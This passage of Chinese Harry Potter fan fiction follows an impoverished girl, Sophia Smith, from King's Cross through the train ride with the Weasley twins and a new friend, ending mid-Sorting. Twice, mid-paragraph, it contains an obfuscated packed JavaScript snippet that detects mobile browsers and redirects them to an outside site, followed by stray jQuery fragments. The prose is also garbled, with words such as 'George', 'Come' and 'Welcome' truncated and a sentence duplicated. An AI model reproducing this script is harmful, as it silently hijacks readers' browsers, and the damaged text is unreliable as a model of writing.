终于,八月的最后一天到来了。艾米丽用颤抖的手,将索菲亚那几件少得可怜的、打满补丁的换洗内衣和袜子,塞进一个破旧不堪、边角磨损露出里面硬纸板的行李箱里——这还是汤姆几年前去参加童子军露营时,好心的邻居借给他们、后来就没再要回去的。行李箱轻飘飘的,除了衣物,就只有那些珍贵的二手魔法用品。
告别的时刻沉重而简短。艾米丽紧紧抱了索菲亚一下,动作僵硬,在她耳边用中文飞快地、几乎是祈求般地低语:“记住你的承诺…主在看顾…” 声音哽咽,然后迅速松手,背过身去,肩膀无声地耸动。乔治只是用那只浑浊的左眼深深地看了她一眼,点了点头,发出一声悠长的叹息。汤姆沉默地拍了拍她的肩膀,眼神复杂。莉莉紧紧抱着她的腿,小声啜泣:“Don’t go, Sophia…”(别走,索菲亚…)
“I’ll be back in summer , Lily. Be good.”暑假我会回来的,莉莉。要乖。)索菲亚强忍着眼泪,努力挤出一个微笑,用力抱了抱妹妹,然后提起那个轻飘飘却感觉重若千钧的破旧行李箱,头也不回地走出了17号的大门。她不敢回头,怕看到母亲颤抖的背影会让自己失去离开的勇气。
独自一人,拖着寒酸的行李箱,索菲亚踏上了前往国王十字车站(King''s Cross Station)的路。巨大的维多利亚式车站拱顶下,人潮汹涌,蒸汽机车的轰鸣声和旅客的喧嚣震耳欲聋。穿着体面的人们提着光鲜的行李箱,匆匆奔向各自的站台。索菲亚穿着她那件洗得发白、领口和袖口都磨出毛边、甚至隐约能看到下面补丁的旧裙子,背着一个同样破旧、带子都快断掉的帆布书包,拖着那个露着硬纸板茬、吱呀作响的箱子,在人群中显得格外刺眼,像一块被遗忘在角落的破布。她紧张地攥着麦格教授后来寄来的车票,上面清晰地印着:伦敦 国王十字车站,九又四分之三站台,发车时间:十一点整。
“九又四分之三站台…想想就觉得刺激,自己马上就要亲自体验了” 索菲亚的心怦怦直跳,既兴奋又忐忑。她提着那个吱呀作响的破行李箱,在第九站台和第十站台之间的隔墙附近徘徊,目光焦急地扫视着坚硬的砖墙和行色匆匆的人群。她瘦小的身影在巨大的车站背景下显得更加单薄,营养不良使得她看起来比实际年龄十一岁要小得多,蜡黄的小脸上带着明显的局促不安和迷茫。她下意识地又把那张珍贵的羊皮纸录取通知书拿出来紧紧攥在手里,仿佛那是唯一的凭证和指引。
就在她又一次犹豫不决,几乎要被汹涌的人潮和内心的怯意淹没时,两道充满好奇和探究的目光落在了她身上。
“Oi, Ge! Look at that one!”(嘿,乔治!看那个!)一个带着浓浓兴趣的少年声音在不远处响起。
索菲亚循声望去,只见两个长得一模一样、有着火红头发和雀斑的男孩正站在几步开外看着她。他们看起来大概十一岁,穿着洗得发白但还算整洁的二手袍子(显然也是家里哥哥穿过的),各自推着一个同样旧但比索菲亚的箱子好不少的行李箱。他们脸上带着纯粹的、孩子气的探究神情,其中一个(大概是弗雷德)用胳膊肘捅了捅另一个(乔治),朝索菲亚的方向努了努嘴,眼睛亮晶晶的。
“New firstie, you reckon?”(新来的小一年级,你觉得?)乔治也注意到了索菲亚,目光在她那破旧得惊人的行李箱和洗得透明的旧裙子上扫过,最后落在她紧紧攥着的、露出半截的羊皮纸通知书上。“Definitely looks lost. And… wow, that trunk looks like it’s been through a dragon’s belly!”(绝对看起来迷路了。而且…哇哦,那个箱子看起来像是被龙吞下去过!)他压低声音,带着点男孩特有的直白和好奇,但没有恶意。
“Bet she’s never been to the platform before.”(打赌她以前从没来过站台。)弗雷德也压低声音,脸上是恶作剧般的兴奋,“Ten knuts says she tries to walk around the wall!”(赌十个纳特她试图绕着墙走!)
两个男孩互相挤眉弄眼,显然对发现一个看起来如此“新鲜”又处境窘迫的新同学感到有趣。他们不再打闹,而是饶有兴致地观察着索菲亚,似乎在等待她下一步的“表演”。
就在这时,一个矮矮胖胖、面容慈祥的红发女士(莫丽·韦斯莱)也注意到了这边的动静。她顺着双胞胎的目光看去,当看到索菲亚——那个穿着破旧得几乎褴褛、瘦小得不像十一岁女孩、独自一人带着一个快要散架的破箱子、满脸无助地攥着通知书站在隔墙前的孩子时——莫丽夫人脸上的表情瞬间从对双胞胎的无奈变成了深深的、母性的怜悯和心疼。她心疼那孩子身上的困窘和迷茫。
“Oh, the poor little lamb…”(哦,可怜的小羊羔…)莫丽夫人低声呢喃,眉头紧紧皱起。她立刻抛下正在整理的行李,快步穿过人群,朝着索菲亚走去,脸上换上了最温暖、最关切的表情。她身后的亚瑟先生(穿着那件古怪的麻瓜毛衣)也注意到了,脸上露出淡淡的笑意。
“Fred! Ge! Leave the dear alone!”(弗雷德!乔治!别打扰那位姑娘!)莫丽夫人人未到声先至,带着惯有的威严,但语气比平时更加柔和。她走到索菲亚面前,高大的身躯像一座温暖的灯塔,瞬间挡住了周围有些异样的目光。
索菲亚被突然出现的莫丽夫人吓了一跳,下意识地后退了半步,攥紧了通知书,像只受惊的小鹿。
莫丽夫人蹲下身(这让她看起来没那么有压迫感),让自己的视线与索菲亚齐平,声音温柔得像春风:“Hello there, dear. Are you looking for Platform Nine and Three-Quarters? First time?”(你好啊,亲爱的。你在找九又四分之三站台吗?第一次来?)她的目光扫过索菲亚破旧的衣角和那个露着硬纸板的行李箱,“Travelling all by yourself?”(一个人旅行?)
“Y-yes, Ma’am. I am first year student of hogwats”(是…是的,夫人,我是霍格沃茨的一年级新生)索菲亚小声回答,被对方温暖的善意包围,鼻子有些发酸。
“Oh, you’re brave, brave girl!”(哦,你真是勇敢,勇敢的孩子!)莫丽夫人的声音充满了真挚的赞叹和怜惜,“It can be a bit scary the very first time, especially on your own. Don’t you worry a bit.
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928774|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”(第一次来是有点吓人,尤其是一个人。一点也不用担心。)她极其自然地伸出手,温暖的大手轻轻握住了索菲亚冰凉、有些脏兮兮的小手。“Molly Weasley. And these two scallywags are my sons, Fred and Ge.”(我是莫丽·韦斯莱。这两个小捣蛋是我的儿子,弗雷德和乔治。)她指了指旁边凑过来的双胞胎。
弗雷德和乔治立刻露出他们最“友好”(虽然依旧带着点促狭)的笑容,朝索菲亚挥手:“hello!”(你好!)
“Now, dear,”(现在,亲爱的,)莫丽夫人站起身,但依旧握着索菲亚的手,给她传递着力量,“it’s perfectly simple. You see that barrier between platforms nine and ten?”(非常简单。你看到九站台和十站台之间的隔墙了吗?)
索菲亚点点头。
“You just walk straight at it. Nice and steady. Don’t stop, and don’t be frightened. Think happy thoughts about Hogwarts!”(你只要径直朝它走过去。稳稳当当的。别停下,也别害怕。想着霍格沃茨开心的事!)莫丽夫人的语气充满鼓励和令人信服的坚定,“Would you like me to go with you? Or perhaps one of the boys could demonstrate again?”(要我陪你一起过去吗?或者让其中一个小子再示范一次?)
“Yeah! Watch this!”(好啊!看好了!)弗雷德立刻响应,不等乔治反应,推着他的行李车就朝隔墙冲去,瞬间消失在砖墙里。乔治也紧随其后,消失前还做了个鬼脸。
“See? Nothing to it!”(瞧见没?没什么难的!)莫丽夫人笑着,然后非常自然地、不容拒绝地接过了索菲亚那个破旧得可怜的行李箱的把手。她的动作轻柔而有力,仿佛那不是一堆快散架的硬纸板和破布,而是一件需要小心对待的行李。e along now, dear. Hold my hand. We’ll go together.”(来吧,亲爱的。拉着我的手。我们一起过去。)
在莫丽夫人温暖的庇护下,在韦斯莱双胞胎从墙那边探出头来、充满鼓励的e on!”(快来!)的喊声中,索菲亚心中所有的恐惧和羞赧都被这突如其来的巨大善意融化了。她紧紧握住莫丽夫人温暖粗糙的手,像是抓住了唯一的依靠。
莫丽夫人给了她一个安心的笑容,然后牵着她,步伐稳定地、毫不犹豫地走向那堵坚实的红砖墙。
国王十字车站的喧嚣在耳边模糊。索菲亚闭上了眼睛,不是因为害怕,而是为了更真切地感受这份被守护的温暖。就在她们的身影即将触碰到墙壁的刹那——
一股奇妙的、如同穿过温暖肥皂泡般的触感轻轻拂过全身,眼前的光线瞬间变幻!
坚硬冰冷的墙壁消失了!取而代之的,是一个豁然开朗、充满魔幻色彩的站台!
深红色的蒸汽机车静静地停靠在站台旁,车头上挂着醒目的“霍格沃茨特快列车”(Hogwarts Express)标牌,粗大的烟囱里正喷吐着滚滚白色蒸汽,发出雄浑悠长的汽笛声。站台上挤满了穿着黑色长袍、兴奋交谈的学生们和送行的家长。猫头鹰在笼子里发出咕咕声,猫咪在脚边穿梭,各种颜色的行李箱堆叠在一起。空气里弥漫着蒸汽、烤香肠的香气和一种难以言喻的、属于魔法世界的喧嚣活力。真好呀,这才像是活着。
索菲亚站在站台边缘,被眼前的景象彻底震撼了。阳光(这里似乎比外面更晴朗)洒在深红色的车身上,反射着温暖的光芒。这就是霍格沃茨特快!她无数次在电影里看到的场景,此刻真真切切地展现在她眼前!
“There you are, dear! Safe and sound!”(看吧,亲爱的!平平安安的!)莫丽夫人爽朗地笑着,将索菲亚的破旧行李箱轻轻放在她脚边,仿佛那是什么珍贵的行李。“Wee to Platform Nine and Three-Quarters!”(欢迎来到九又四分之三站台!)她的笑容充满了成就感和纯粹的善意。
弗雷德和乔治已经蹦跳着围了过来,脸上是真诚的开心:“Made it!”(成功啦!)“Told you it was easy!”(告诉过你很简单的!)e on, Smith! Let’s find apartment! We’ll save you a seat!”(快来,史密斯!找个隔间去!我们给你占个座!)
看着眼前充满活力的魔法世界入口,感受着莫丽夫人手掌残留的温暖,听着双胞胎欢快而直接的邀请,索菲亚心中的阴霾被彻底驱散。巨大的幸福感和对未来的无限憧憬如同温暖的潮水,瞬间将她淹没。她用力地点点头,脸上绽放出比阳光更灿烂的笑容,眼泪却不争气地在眼眶里打转——这一次,是纯粹的、被善意温暖的泪水。
霍格沃茨,我真的来了! 而这段旅程的开始,就充满了意想不到的温暖。那个著名的故事,那个大难不死的男孩,还有即将席卷一切的黑暗……都将在不久的未来与她产生交集。男孩,还有即将席卷一切的黑暗……都将在不久的未来与她产生交集。
5. 第 5 章
在莫丽夫人温暖的笑容和双胞胎“Smith! This way!”(史密斯!这边!)的催促声中,索菲亚拖着她的破旧行李箱,像只被卷入欢乐洪流的小船,跟随着两颗活力四射的红发“灯塔”,挤上了深红色的霍格沃茨特快列车。
车厢里比站台更加喧闹。穿着崭新或二手长袍的学生们拖着行李箱穿梭,兴奋地打着招呼,寻找着空隔间。猫头鹰的咕咕声、猫咪的喵呜声、此起彼伏的谈笑声汇成一片充满活力的海洋。空气里除了蒸汽机车的煤烟味,还飘荡着各种食物的香气——一种索菲亚从未闻过的、诱人的甜香。
“Trolleying through! Anything from the trolley, dears? Pumpkin pasties? Chocolate frogs? Bertie Bott''s Every Flavour Beans?”(售货车来啦!亲爱的,要点什么吗?南瓜馅饼?巧克力蛙?比比多味豆?)一个慈祥的女声伴随着推车的吱呀声由远及近。
索菲亚的心猛地一跳,目光瞬间被吸引过去。只见一个笑容可掬的女巫推着一辆堆满了花花绿绿包装的小车缓缓走来。那些包装纸在昏暗车厢的光线下闪闪发光,里面透出的食物形状和散发出的香气,对索菲亚来说如同传说中的盛宴!她的肚子不争气地咕噜了一声。她下意识地摸了摸口袋里那仅有的几个麻瓜便士——它们在这里一文不值。
弗雷德和乔治也眼巴巴地看着售货车,鼻子用力吸着香气,喉咙明显滚动了一下。
“Blimey, those pumpkin pasties smell brilliant…”(天啊,那南瓜馅饼闻起来太棒了…)弗雷德舔了舔嘴唇。
“Mum’s sandwiches are good, but…”(妈妈做的三明治是好吃,但是…)乔治从自己鼓囊囊但显得简陋的纸包里掏出一个用油纸包着的、看起来相当朴素的三明治,语气带着一丝的遗憾。他们显然也没有多余的零花钱。
三人挤进一个空隔间。索菲亚的破行李箱被她小心翼翼地塞在座位底下的角落。双胞胎则大大咧咧地把他们的箱子往行李架上一扔(其中一个箱子发出一声可疑的闷响)。
刚坐下,推着零食车的女巫就停在了他们隔间门口,笑容满面:“Anything off the trolley, dears?”(孩子们,要点什么吗?)
弗雷德和乔治异口同声:“No, thanks, just looking!”(不用了,谢谢,就看看!)声音响亮,带着点强装的洒脱,但眼神还是黏在那些诱人的糖果上。
索菲亚更是飞快地低下头,假装整理自己洗得发白的帆布书包带子,小声说:“No, thank you.”(不用了,谢谢。)脸颊微微发烫。贫穷带来的窘迫感,即使在充满魔法的火车上,依然如影随形。
女巫善解人意地笑了笑,推车继续前行。
隔间里安静了一瞬,只剩下火车行进时规律的哐当声和外面走廊的喧闹。弗雷德率先撕开了他的三明治包装,咬了一大口。“So, Smith,”(那么,史密斯,)他嘴里塞得鼓鼓的,含糊不清地问,“Where’re you from? Never seen you around before.”(你从哪儿来的?以前从没见过你。)
乔治也拆开了自己的三明治,接口道:“Yeah, you looked proper lost back there.”(就是,你刚才看起来可真像走丢了。)他的语气是纯粹的好奇,没有嘲笑。
索菲亚深吸一口气,从书包里拿出一个用旧布仔细包着的、硬邦邦的黑面包——这是她离家前艾米丽塞给她的。她小口地、珍惜地啃着那粗糙干硬的面包,感受着熟悉却令人沮丧的滋味在口腔里蔓延。她需要钱,需要食物,但她更需要朋友。
“London. East End.”(伦敦。东区。)她简单地回答,声音不大但清晰。
“East End?”(东区?)弗雷德和乔治交换了一个眼神,显然对这个地方有所耳闻,但了解不多。“That’s… Muggle London, right? You a Muggle-born?”(那是…麻瓜伦敦,对吧?你是麻瓜出身?)
“Yeah.”(是的。)索菲亚点点头,咽下干涩的面包,“My family… it’s just my parents, my older brother Tom, my younger sister Lily, and me. Dad’s hurt from work, Mum sews all day… it’s… hard.”(我家…只有我父母,我哥哥汤姆,我妹妹莉莉,还有我。爸爸工伤了,妈妈整天缝纫…日子…很艰难。)她尽量说得平静,但那份沉甸甸的生活还是从她寥寥数语中透了出来。
双胞胎脸上的嬉笑收敛了一些,变得认真起来。弗雷德挠了挠他乱糟糟的红头发:“Blimey. Sounds rough.”(天啊。听起来真够呛。)他把自己咬了一半的三明治往前推了推,“Want a bite? Mum makes loads.”(来一口?妈妈做了很多。)
乔治也立刻把他的三明治推过来:“Yeah, have some. They’re not pumpkin pasties, but they fill the hole.”(就是,吃点。比不上南瓜馅饼,但能填饱肚子。)
索菲亚看着眼前两个虽然简单、却饱含真诚善意的三明治,再看看自己手里干硬的黑面包,一股暖流瞬间涌上心头,冲散了方才的窘迫。她摇摇头,露出一个真诚的微笑:“Thanks, but I’m okay. Got my bread.”(谢谢,不过不用了。我有面包。)她晃了晃手里的黑面包,表示自己习惯了。
就在这时,隔间的门被轻轻拉开了。一个女孩探进头来,她有着柔顺闪亮的金色长发,用一根精致的蓝色丝带束着,穿着剪裁合体、面料一看就价值不菲的崭新长袍,脸蛋圆润红润,像个小天使,碧蓝的大眼睛好奇地打量着里面。
“Hello! Is there room for one more? Everywhere else seems frightfully crowded.”(你好!这里还有空位吗?其他地方好像都挤得要命。)她的声音清脆悦耳,带着一种自然而然的优雅腔调,但并不显得傲慢。
弗雷德立刻热情地挥手:“Loads of room!e on in!”(空得很!快进来!)
乔治也挪了挪位置:“Yeah, the more the merrier!”(就是,人越多越热闹!)
女孩露出一个灿烂的笑容,像阳光洒进车厢。她轻盈地走了进来,身后跟着一个家养小精灵(它放下一个看起来就很沉重的、镶嵌着铜扣的崭新皮箱后,立刻“啪”地一声消失了),然后优雅地在索菲亚对面的空位坐下。
“Thanks awfully! I’m Emma. Emma Campbell.”(太感谢了!我是艾玛。艾玛·坎贝尔。)她落落大方地自我介绍,目光在三人脸上扫过,最后好奇地落在索菲亚手中的黑面包和双胞胎那朴素的三明治上,又看了看索菲亚那身明显不合身、洗得发白的二手袍子和角落里的破箱子,眼中没有一丝鄙夷只是观察。
“Fred Weasley!”(弗雷德·韦斯莱!)
“Ge Weasley!”(乔治·韦斯莱!)
双胞胎立刻回应,带着他们特有的活力。
“Sophia Smith.”(索菲亚·史密斯。)索菲亚也轻声说道。
“Weasley! Oh, I think my mother mentioned your family! Lovely to meet you both. And Smith… that’s a nice solid name.”(韦斯莱!哦,我想我母亲提过你们家!很高兴认识你们两位。还有史密斯…这是个很好很实在的名字。)艾玛的笑容非常有感染力,“Are you all first years too?”(你们都是一年级新生吗?)
“Yep!”(没错!)弗雷德和乔治齐声回答,带着自豪。
“Me too.”(我也是。)索菲亚点头。
“Oh, splendid!”(哦,太棒了!)艾玛拍了下手,显得很开心。就在这时,售货女巫推着小车又经过了门口。艾玛眼睛一亮:“Oh! Excuse me!”(哦!请稍等!)她像只轻盈的小鹿般跳起来,跑到门口,用她那清脆的声音说道:“We’ll take… oh, let’s see… four pumpkin pasties, two chocolate frogs, and a box of Bertie Bott’s, please!”(我们要…嗯,让我看看…四个南瓜馅饼,两只巧克力蛙,还有一盒比比多味豆,谢谢!)
她动作利落地付了一些西可和纳特(那闪闪的钱币让索菲亚看得有些羡慕),抱着一大堆色彩缤纷的零食回来了,一股脑儿地堆在隔间中间的小桌子上。
“Here!”(来!)艾玛热情地拿起一个还在冒着热气的、金灿灿的南瓜馅饼,不由分说地塞到索菲亚手里,“You must try this! They’re simply the best on the train!”(你一定要尝尝这个!这绝对是火车上最好吃的!)接着又给弗雷德和乔治一人塞了一个,“And for you two! Consider it a ‘wee to Hogwarts’ treat!”(还有你们两个!就当是‘欢迎来到霍格沃茨’的小礼物!)最后自己也拿起一个,满足地咬了一大口,发出幸福的叹息。
索菲亚看着手里热乎乎的、散发着诱人甜香的南瓜馅饼,又看看艾玛真诚热情的笑脸,再看看同样有些愣住、但随即咧嘴笑开、毫不客气开吃的双胞胎,一股巨大的、混合着感动和温暖的洪流瞬间冲垮了她所有的防线。她不再犹豫,小心翼翼地咬了一口。
天啊! 温软香甜的南瓜馅料混合着酥脆的外皮在口中化开,从未有过的美妙滋味瞬间征服了她的味蕾!这是真正的食物!魔法世界的食物!高油高糖的食物幸福得让她几乎想哭。
“Wow! Thanks, Emma!”(哇哦!谢谢艾玛!)弗雷德和乔治嘴里塞满了馅饼,含糊不清地感谢,眼睛都亮了。
艾玛开心地笑着,又拆开了那盒比比多味豆:“Now, who’s brave enough to try a mystery bean?”(现在,谁有胆量尝试一颗神秘豆?)她碧蓝的大眼睛里闪烁着恶作剧般的光芒。
车厢里的气氛瞬间变得轻松而热烈。在香甜的南瓜馅饼和刺激的多味豆挑战中(弗雷德不幸吃到一颗臭烘烘的耳屎味,引得乔治和艾玛哈哈大笑,索菲亚则幸运地尝到了草莓味),四个人很快熟络起来。艾玛大方地分享着她的家庭:母亲是女巫,来自一个古老的法国纯血家族(但思想开明),父亲是麻瓜,但出身于英国一个历史悠久的贵族家庭(坎贝尔家族),经营着庞大的产业。“Mum says magic is wonderful, but Daddy’s world has its charms too, like those amazing aeroplanes!”(妈妈说魔法很神奇,但爸爸的世界也有它的魅力,比如那些神奇的飞机!)艾玛兴致勃勃地说。
弗雷德和乔治则叽叽喳喳地介绍了他们庞大的韦斯莱家族——父母,大哥比尔(在埃及当解咒员),二哥查理(在罗马尼亚研究龙),三哥珀西(“那个级长,有点烦人”),弟弟罗恩(“还在家玩玩具呢”)和小妹妹金妮(“小不点一个”)。他们的语气里充满了对大家庭热闹的习以为常和一种朴实的自豪。
索菲亚也简单分享了自己的情况,虽然说得不多,但艾玛听完后,碧蓝的眼睛里充满了真挚的同情和钦佩:“Oh, Sophia, that sounds so difficult! You must be incredibly brave.”(哦,索菲亚,这听起来太艰难了!你一定非常勇敢。)她的话让索菲亚心头一暖。
火车在欢快的交谈和分享零食中一路向北飞驰。窗外的景色从城市渐渐变成了开阔的田野和起伏的丘陵。当夕阳的余晖将天空染成金红时,列车开始减速,最终停靠在一个小小的、漆黑的站台旁。
“Hogsmeade Station! First years, this way!e on now, follow me!”(霍格莫德车站!一年级新生,这边走!快点,跟我来!)一个洪亮如钟、在嘈杂中依然清晰无比的声音响起。隔间门被拉开,一个巨人般的身影几乎堵住了整个门口——是海格!他乱蓬蓬的头发和浓密的胡须在昏暗的光线下像一团黑色火焰,但那双甲壳虫般乌黑发亮的眼睛里却充满了温和的笑意。他提着一盏巨大的提灯,灯光照亮了他身上那件鼹鼠皮做的巨大外套。
“Blimey! He’s huge!”(天啊!他可真大!)弗雷德惊叹。
“That’s Rubeus Hagrid! Keeper of Keys and Grounds at Hogwarts!”(那是鲁伯·海格!霍格沃茨的钥匙保管员和猎场看守!)艾玛兴奋地小声说道,显然从母亲那里听过不少。
新生们像一群受惊的小鸡崽,在海格这头“巨鹰”的带领下,跌跌撞撞地走下火车,沿着一条陡峭狭窄的小路往下走。小路两旁是茂密的黑森林,夜风带来潮湿的泥土气息和树木的低语。索菲亚紧紧跟着艾玛和双胞胎,感受着脚下湿滑的泥土,心中充满了对未知的紧张和期待。
“Mind yer step now! Down to the boats!”(小心脚下!下船去!)海格洪亮的声音在前方引导。转过一个弯,眼前豁然开朗!
黑色的大湖在眼前铺展开来,湖对岸高高的山坡上,耸立着一座巍峨的城堡!无数塔楼和尖顶刺破深蓝色的夜空,成百上千扇窗户里透出温暖明亮的金色灯光,像无数颗坠落的星辰,又像一块巨大的、闪闪发光的蜂蜜蛋糕,倒映在平静如墨的湖面上。霍格沃茨!它比电影里看到的更加宏伟、神秘,充满了古老魔法的气息!新生们发出一片压抑不住的惊叹声。
“Four to a boat! No more!”(四人一条船!不能多!)海格指着湖边停泊着的一队小小的、看起来像空胡桃壳的船只喊道。
索菲亚、艾玛、弗雷德和乔治自然凑到了一起。他们小心翼翼地爬进一条小船。小船在海格一声洪亮的“Forward!”(前进!)号令下,仿佛被无形的力量推动,平稳地、悄无声息地滑过平滑如镜的黑色湖面,朝着那座灯火辉煌的城堡驶去。湖水倒映着城堡的灯火和满天繁星,小船仿佛航行在璀璨的星河之中。每个人都屏住了呼吸,被这如梦似幻的景象深深震撼。
小船靠岸,大家在海格的带领下走上石阶,穿过巨大的橡木门,进入了一个巨大的门厅。高高的穹顶,燃烧着熊熊火焰的火炬,石墙上挂满了会动的肖像画,它们好奇地打量着新来的学生,互相窃窃私语。
一位神情严肃、穿着翠绿色长袍、头发挽成紧髻的女巫已经等在那里——是麦格教授。她的目光锐利地扫过排好队、既兴奋又紧张的新生们。
“Wee to Hogwarts.”(欢迎来到霍格沃茨。)麦格教授的声音清晰有力,带着一种令人敬畏的威严,“The start-of-term banquet will begin shortly, but before you take your seats in the Great Hall, you will be sorted into your houses.”(开学宴会即将开始,但在你们于礼堂入座之前,你们将被分入各自的学院。)
她开始讲解霍格沃茨的四个学院:格兰芬多(Gryffindor)、赫奇帕奇(Hufflepuff)、拉文克劳(Ravenclaw)和斯莱特林(Slytherin),以及它们所代表的品质。索菲亚的心怦怦直跳,分院帽!决定命运的时刻就要到了!
“The Sorting Ceremony will take place in a few minutes in front of the rest of the school. I suggest you all smarten yourselves up as much as you can while you are waiting.”(分院仪式将在几分钟后,在全校师生面前举行。我建议你们在等候时,尽可能整理一下自己的仪容。)麦格教授的目光扫过新生,在索菲亚那身简单的二手长袍上停留了极其短暂的一瞬,但没有任何异样,随即移开。
新生们立刻一阵骚动,紧张地整理着自己的袍子、头发。艾玛优雅地抚平了自己长袍上根本不存在的褶皱。弗雷德和乔治互相给对方抹平乱翘的红发,结果越弄越糟。索菲亚只是低头,轻轻拉了拉自己那件佩内洛普·皮克林留下的旧袍子,让它看起来稍微整齐一点。
门厅另一侧巨大的橡木门无声地打开了。麦格教授转过身:“Now, form a line, and follow me.”(现在,排好队,跟我来。)
新生们排成一列长队,在麦格教授的带领下,穿过橡木大门,走进了霍格沃茨的礼堂。
索菲亚瞬间被眼前的景象夺去了呼吸。
成千上万支悬浮在空中的蜡烛照亮了整个大厅!四张长长的学院餐桌旁坐满了学生,他们的面孔在烛光下闪闪发光。天鹅绒般漆黑的顶棚上,闪烁着真实的、如同缀满钻石的夜空!大厅尽头是教师席,邓布利多教授那标志性的银色长须和半月形眼镜在烛光下清晰可见,他正微笑着看着新生们。邓布利多教授穿着显眼的紫色袍子,袍子上布满了会动的太阳,星星和月亮,索菲娅暗叹老邓头真骚包,帅老头一枚,真是漂亮的袍子呀。
麦格教授将新生们带到教师席前的高台旁,让他们面对全校学生排好。她拿来一个四脚凳,然后在凳子上面放了一顶破破烂烂、脏兮兮、打着补丁、还满是褶皱的尖顶巫师帽——分院帽(Sorting Hat)。
整个礼堂瞬间安静下来。所有人的目光都聚焦在那顶破帽子上。
接着,帽子边缘裂开了一道宽宽的缝,像一张嘴。然后,它开始歌唱,一首关于四个学院特质
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928775|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和团结的新歌。歌声古老而奇特,在寂静的大厅里回荡。索菲亚听得入了神,心提到了嗓子眼。
歌声结束,礼堂里爆发出热烈的掌声。
麦格教授展开了一张长长的羊皮纸卷。
“When I call your name, you will put on the hat and sit on the stool to be sorted.”(当我叫到你的名字,你就戴上帽子,坐到凳子上进行分院。)她的声音清晰地传遍礼堂,“Abbott, Hannah!”(阿博特,汉娜!)
一个面色红润、梳着两条金色发辫的小姑娘颤抖着走上前,戴上帽子。帽子几乎刚碰到她的头发就尖叫道:“HUFFLEPUFF!”(赫奇帕奇!)
右边的一张长桌立刻爆发出欢呼和掌声,汉娜·阿博特高兴地跑过去坐下。
名字一个个被叫到。索菲亚看到艾玛·坎贝尔(Emma Campbell)被分到了拉文克劳(Ravenclaw),蓝宝石色的桌布旁响起了礼貌而热烈的掌声。艾玛朝索菲亚和双胞胎这边俏皮地眨了眨眼,才走向她的学院桌。
“Weasley, Fred!”(韦斯莱,弗雷德!)
弗雷德大踏步走上前,戴上帽子。帽子几乎刚碰到他那头乱糟糟的红发就尖叫道:“GRYFFINDOR!”(格兰芬多!)
左边最远的长桌爆发出震耳欲聋的欢呼。弗雷德得意洋洋地跑向他的哥哥们。
“Weasley, Ge!”(韦斯莱,乔治!)
乔治的结果毫无悬念,帽子同样迅速高喊:“GRYFFINDOR!”(格兰芬多!)
乔治也加入了格兰芬多的红色海洋,和弗雷德兴奋地击掌。
终于——
“Smith, Sophia!”(史密斯,索菲亚!)
索菲亚的心猛地一沉,随即又狂跳起来。她深吸一口气,努力让自己颤抖的腿迈出步子,在数百双目光的注视下,走向高台。她能感觉到大家的目光聚集在她身上,有点紧张。她坐上四脚凳,麦格教授将那顶破旧的分院帽轻轻放在她的头上。
帽子很大,遮住了她的视线,一股陈旧羊皮纸和灰尘的气味钻进鼻孔。接着,一个细微而充满智慧的声音在她脑海中响起,带着明显的惊讶和浓厚的兴趣:
‘Hmm… Fascinating! A mind touched by distant lands and ancient ways…’ (嗯…太迷人了!一个被遥远国度和古老方式触碰过的头脑…)
‘The resilience of bamboo bending in the storm… the quiet fire of a dragon… Ah, and this core! Qilin tail hair! Rare! Very rare indeed! Speaks of purity, a clear spirit, and an affinity for the serene and the just…’ (风暴中弯曲的竹子般的韧性…龙之静火…啊,还有这个杖芯!麒麟尾毛!稀有!确实非常稀有!象征着纯净、澄澈的灵魂,以及对宁静与公正的亲和…)
‘Such a unique blend… East and West converging. You possess a sharp intellect, honed by necessity and observation – very Ravenclaw. And oh, the courage! The sheer fortitude to endure what you have, to stand alone at that station… True Gryffindor bravery, though it wears a quieter cloak.’ (如此独特的融合…东西交汇。你拥有敏锐的才智,被需要和观察所磨练——非常拉文克劳。哦,还有那份勇气!那份承受你所经历的一切、独自站在车站的纯粹坚韧…真正的格兰芬多式的勇敢,尽管它披着更安静的外衣。)
‘But… beneath it all, deeper than the intellect, stronger than the quiet courage…’ (但是…在这一切之下,比才智更深沉,比沉静的勇气更强大的是…)
‘…is a profound yearning. For safety. For sustenance. For a place where hard work is valued, where loyalty is the bedrock, where kindness is not a luxury but a given. You seek a hearth , child. A place to heal, to grow strong, to belong without pretense.’ (…是一种深切的渴望。渴望安全。渴望滋养。渴望一个重视努力、以忠诚为基石、善良不是奢侈品而是理所当然的地方。你在寻找一个家,孩子。一个可以疗愈、可以变得强壮、可以真实归属的地方。)
索菲亚的心在狂跳。分院帽完全看透了她!它提到了拉文克劳的智慧,格兰芬多的勇气,甚至点出了她魔杖的特殊芯(麒麟尾毛!)。但最后的话语,精准地戳中了她灵魂最深处的渴望。 赫奇帕奇! 那个以忠诚、勤奋、正直和包容著称的学院。更重要的是,她知道赫奇帕奇的公共休息室就在厨房旁边!那些家养小精灵…那些仿佛取之不尽的美味食物!这是她最迫切需要的——一个能让自己处于长期营养不良的身体真正恢复健康的地方!
她几乎是本能地、在内心深处对着分院帽呐喊: Please! Hufflepuff! I need it! I need the warmth (求求了!赫奇帕奇!我需要它!我需要那份温暖,那些食物,吃饱饱,变壮壮!)那份意愿是如此强烈,如此纯粹。民以食为天,没办法呀,经济基础决定上层建筑,身体才是革命的本钱,减肥也需要吃饱了才有力气减!
帽子在她脑海里沉默了,似乎在进行激烈的权衡。
